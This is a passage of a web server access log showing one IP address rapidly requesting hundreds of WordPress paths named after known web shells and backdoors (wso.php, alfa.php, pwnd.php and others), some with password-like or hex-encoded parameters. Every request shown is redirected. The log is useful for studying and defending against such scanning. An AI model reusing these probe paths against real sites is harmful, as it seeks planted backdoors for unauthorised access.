-0400] "GET /wp-admin/user/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:45 -0400] "GET /wp-admin/user/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:45 -0400] "GET /wp-admin/users.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:46 -0400] "GET /wp-admin/wEvOhNfjUQY.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:46 -0400] "GET /wp-admin/wp-admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:46 -0400] "GET /wp-admin/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:47 -0400] "GET /wp-admin/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:47 -0400] "GET /wp-admin/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:48 -0400] "GET /wp-admin/wp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:48 -0400] "GET /wp-admin/wso.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:48 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:49 -0400] "GET /wp-api.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:49 -0400] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:50 -0400] "GET /wp-back.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:50 -0400] "GET /wp-blog-header.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:51 -0400] "GET /wp-blog-header.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:51 -0400] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:51 -0400] "GET /wp-blog.php?pass=hill HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:52 -0400] "GET /wp-checkbex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:52 -0400] "GET /wp-class.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:53 -0400] "GET /wp-cli.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:53 -0400] "GET /wp-conf.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:53 -0400] "GET /wp-conf.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:54 -0400] "GET /wp-config-sample.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:54 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:55 -0400] "GET /wp-configs.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:55 -0400] "GET /wp-confiig.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:55 -0400] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:56 -0400] "GET /wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:56 -0400] "GET /wp-content/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:57 -0400] "GET /wp-content//auto.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:57 -0400] "GET /wp-content/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:57 -0400] "GET /wp-content/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:58 -0400] "GET /wp-content/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:58 -0400] "GET /wp-content/alfa.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:58 -0400] "GET /wp-content/atomlib.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:59 -0400] "GET /wp-content/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:59 -0400] "GET /wp-content/autoload_classmap.php/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:45:59 -0400] "GET /wp-content/b.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:00 -0400] "GET /wp-content/blogs.dir/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:01 -0400] "GET /wp-content/blue.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:01 -0400] "GET /wp-content/cache/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:01 -0400] "GET /wp-content/cache/w.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:02 -0400] "GET /wp-content/cong.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:03 -0400] "GET /wp-content/content.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:03 -0400] "GET /wp-content/file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:03 -0400] "GET /wp-content/fonts/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:04 -0400] "GET /wp-content/function.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:04 -0400] "GET /wp-content/gallery/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:05 -0400] "GET /wp-content/gallery/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:05 -0400] "GET /wp-content/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:06 -0400] "GET /wp-content/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:06 -0400] "GET /wp-content/index.php?x=ooo HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:07 -0400] "GET /wp-content/install.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:07 -0400] "GET /wp-content/item.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:07 -0400] "GET /wp-content/json.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:08 -0400] "GET /wp-content/languages/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:08 -0400] "GET /wp-content/languages/asus.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:09 -0400] "GET /wp-content/languages/chosen.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:09 -0400] "GET /wp-content/languages/ebbqviXwm.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:10 -0400] "GET /wp-content/languages/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:10 -0400] "GET /wp-content/languages/themes/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:11 -0400] "GET /wp-content/languages/themes/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:11 -0400] "GET /wp-content/languages/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:12 -0400] "GET /wp-content/mah.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:13 -0400] "GET /wp-content/mu-plugins-old/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:13 -0400] "GET /wp-content/mu-plugins-old/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:14 -0400] "GET /wp-content/mu-plugins-old/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:14 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:15 -0400] "GET /wp-content/mu-plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:15 -0400] "GET /wp-content/mu-plugins/item.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:16 -0400] "GET /wp-content/packed.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:16 -0400] "GET /wp-content/plugin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:17 -0400] "GET /wp-content/plugins/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:17 -0400] "GET /wp-content/plugins//about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:18 -0400] "GET /wp-content/plugins//hello.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:18 -0400] "GET /wp-content/plugins//index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:19 -0400] "GET /wp-content/plugins/Duplicatepost/src/ui/sidwso.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:19 -0400] "GET /wp-content/plugins/TOPXOH/wDR.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:20 -0400] "GET /wp-content/plugins/WordPressCore/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:20 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:20 -0400] "GET /wp-content/plugins/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:21 -0400] "GET /wp-content/plugins/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:22 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:22 -0400] "GET /wp-content/plugins/alfa-rex.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:22 -0400] "GET /wp-content/plugins/ango/sett.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:23 -0400] "GET /wp-content/plugins/apikey/natural.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:23 -0400] "GET /wp-content/plugins/b.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:24 -0400] "GET /wp-content/plugins/classic-editor/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:24 -0400] "GET /wp-content/plugins/classic-editor//about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:24 -0400] "GET /wp-content/plugins/classic-editor//classic-editor.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:25 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:25 -0400] "GET /wp-content/plugins/core-plugin/wp-error_log.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:26 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:26 -0400] "GET /wp-content/plugins/dummyyummy/wp-signup.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:26 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:27 -0400] "GET /wp-content/plugins/elementor//elementor-object.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:27 -0400] "GET /wp-content/plugins/elementor//wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:28 -0400] "GET /wp-content/plugins/elementor/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:28 -0400] "GET /wp-content/plugins/elementor/includes/settings/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:28 -0400] "GET /wp-content/plugins/elementor/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:29 -0400] "GET /wp-content/plugins/erinyani/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:29 -0400] "GET /wp-content/plugins/erinyani/yani/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:29 -0400] "GET /wp-content/plugins/fix/00.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:30 -0400] "GET /wp-content/plugins/fix/up.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:30 -0400] "GET /wp-content/plugins/goods.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:31 -0400] "GET /wp-content/plugins/hellopress/wp_filemanager.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:31 -0400] "GET /wp-content/plugins/html404/index.html HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:31 -0400] "GET /wp-content/plugins/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:32 -0400] "GET /wp-content/plugins/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:33 -0400] "GET /wp-content/plugins/ioxi/ioxi/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:33 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:33 -0400] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:34 -0400] "GET /wp-content/plugins/linkpreview/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:34 -0400] "GET /wp-content/plugins/not/includes/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:35 -0400] "GET /wp-content/plugins/one-click-demo-import//about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:35 -0400] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:36 -0400] "GET /wp-content/plugins/pwnd/block-support.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:36 -0400] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:36 -0400] "GET /wp-content/plugins/pwnd/pwnd.php/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:37 -0400] "GET /wp-content/plugins/pwnd/z4x.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:37 -0400] "GET /wp-content/plugins/revslider/includes/external/page/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:38 -0400] "GET /wp-content/plugins/revslider/includes/external/page/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:38 -0400] "GET /wp-content/plugins/seo-by-rank-math//wp-casper.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:39 -0400] "GET /wp-content/plugins/seoo/wsoyanz.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:39 -0400] "GET /wp-content/plugins/seoo/wsoyanz1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:39 -0400] "GET /wp-content/plugins/seoplugins/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:40 -0400] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:40 -0400] "GET /wp-content/plugins/seoplugins/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:41 -0400] "GET /wp-content/plugins/seoplugins/mar.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:41 -0400] "GET /wp-content/plugins/seox/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:41 -0400] "GET /wp-content/plugins/sid/sidwso.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:42 -0400] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:42 -0400] "GET /wp-content/plugins/wordpresss3cll/includes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:43 -0400] "GET /wp-content/plugins/wordpresss3cll/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:43 -0400] "GET /wp-content/plugins/wp-conflg.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:43 -0400] "GET /wp-content/plugins/wp-conflg.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:44 -0400] "GET /wp-content/plugins/wp-help/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:44 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:45 -0400] "GET /wp-content/plugins/wp-help/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:45 -0400] "GET /wp-content/plugins/wp-help/mini.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:46 -0400] "GET /wp-content/plugins/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:46 -0400] "GET /wp-content/plugins/wp-sec/ab.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:46 -0400] "GET /wp-content/plugins/wp-theme-editor/include.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:47 -0400] "GET /wp-content/plugins/wp.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:47 -0400] "GET /wp-content/plugins/x/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:48 -0400] "GET /wp-content/plugins/yyobang/mar.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:48 -0400] "GET /wp-content/radio.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:49 -0400] "GET /wp-content/shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:49 -0400] "GET /wp-content/themes/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:49 -0400] "GET /wp-content/themes//inpust.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:50 -0400] "GET /wp-content/themes/Divi/includes/builder/frontend-builder/assets/vendors/plugins/fullscreen/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:50 -0400] "GET /wp-content/themes/aahana/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:50 -0400] "GET /wp-content/themes/aahana/json.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:51 -0400] "GET /wp-content/themes/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:51 -0400] "GET /wp-content/themes/about.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:52 -0400] "GET /wp-content/themes/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:52 -0400] "GET /wp-content/themes/alera/alpha.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:52 -0400] "GET /wp-content/themes/astra/inc/fm.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:53 -0400] "GET /wp-content/themes/astra/inc/ki1k.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:53 -0400] "GET /wp-content/themes/astra/inc/network.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:54 -0400] "GET /wp-content/themes/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:54 -0400] "GET /wp-content/themes/cay-van-phong/filemanager.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:54 -0400] "GET /wp-content/themes/classic/inc/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:55 -0400] "GET /wp-content/themes/classic/inc/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:56 -0400] "GET /wp-content/themes/digital-download/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:56 -0400] "GET /wp-content/themes/file.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:56 -0400] "GET /wp-content/themes/finley/min.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:57 -0400] "GET /wp-content/themes/fitnessbase/404.php?ok HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:57 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:58 -0400] "GET /wp-content/themes/hideo/network.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:58 -0400] "GET /wp-content/themes/include.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:58 -0400] "GET /wp-content/themes/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:46:59 -0400] "GET /wp-content/themes/index.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:00 -0400] "GET /wp-content/themes/index.php?pass=1313 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:00 -0400] "GET /wp-content/themes/intense/block-css.php?mode=upload HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:01 -0400] "GET /wp-content/themes/newstoday/lang.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:01 -0400] "GET /wp-content/themes/pridmag/1.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:01 -0400] "GET /wp-content/themes/pridmag/db.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:02 -0400] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:02 -0400] "GET /wp-content/themes/seotheme/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:02 -0400] "GET /wp-content/themes/seotheme/db.php?u HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:03 -0400] "GET /wp-content/themes/seotheme/mar.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:03 -0400] "GET /wp-content/themes/seotheme/mar.php?d=2f6e61732f636f6e74656e742f6c6976652f72616368656c73626c6f672f77702d636f6e74656e742f7468656d65732f73656f7468656d65&1 HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:04 -0400] "GET /wp-content/themes/sketch/404.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:04 -0400] "GET /wp-content/themes/tflow/up.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:05 -0400] "GET /wp-content/themes/travel/issue.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:05 -0400] "GET /wp-content/themes/twenty/twenty.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:05 -0400] "GET /wp-content/themes/twentyfive/include.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:06 -0400] "GET /wp-content/themes/twentytwenty/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:06 -0400] "GET /wp-content/themes/twentytwenty/404.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:07 -0400] "GET /wp-content/themes/twentytwentyfour/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:07 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:08 -0400] "GET /wp-content/themes/twentytwentytwo/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:08 -0400] "GET /wp-content/themes/wp-pridmag/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:08 -0400] "GET /wp-content/themes/wp-pridmag/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:09 -0400] "GET /wp-content/themes/wp-pridmag/init.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:09 -0400] "GET /wp-content/themes/wp-pridmag/up.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:10 -0400] "GET /wp-content/themes/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:10 -0400] "GET /wp-content/themes/xmrlpc.php?p= HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:10 -0400] "GET /wp-content/themes/zrt.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:11 -0400] "GET /wp-content/updraft/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:11 -0400] "GET /wp-content/updraft/themes.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:12 -0400] "GET /wp-content/upgrade-temp-backup/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:12 -0400] "GET /wp-content/upgrade-temp-backup/wp-login.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:12 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:13 -0400] "GET /wp-content/upgrade/about.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:13 -0400] "GET /wp-content/upgrade/admiin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:14 -0400] "GET /wp-content/upgrade/admin.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:14 -0400] "GET /wp-content/upgrade/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:14 -0400] "GET /wp-content/upgrade/index.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:15 -0400] "GET /wp-content/upgrade/wp-sigunq.php HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:15 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "-" 52.138.175.243 - - [18/Apr/2025:08:47:16 -0400] "GET 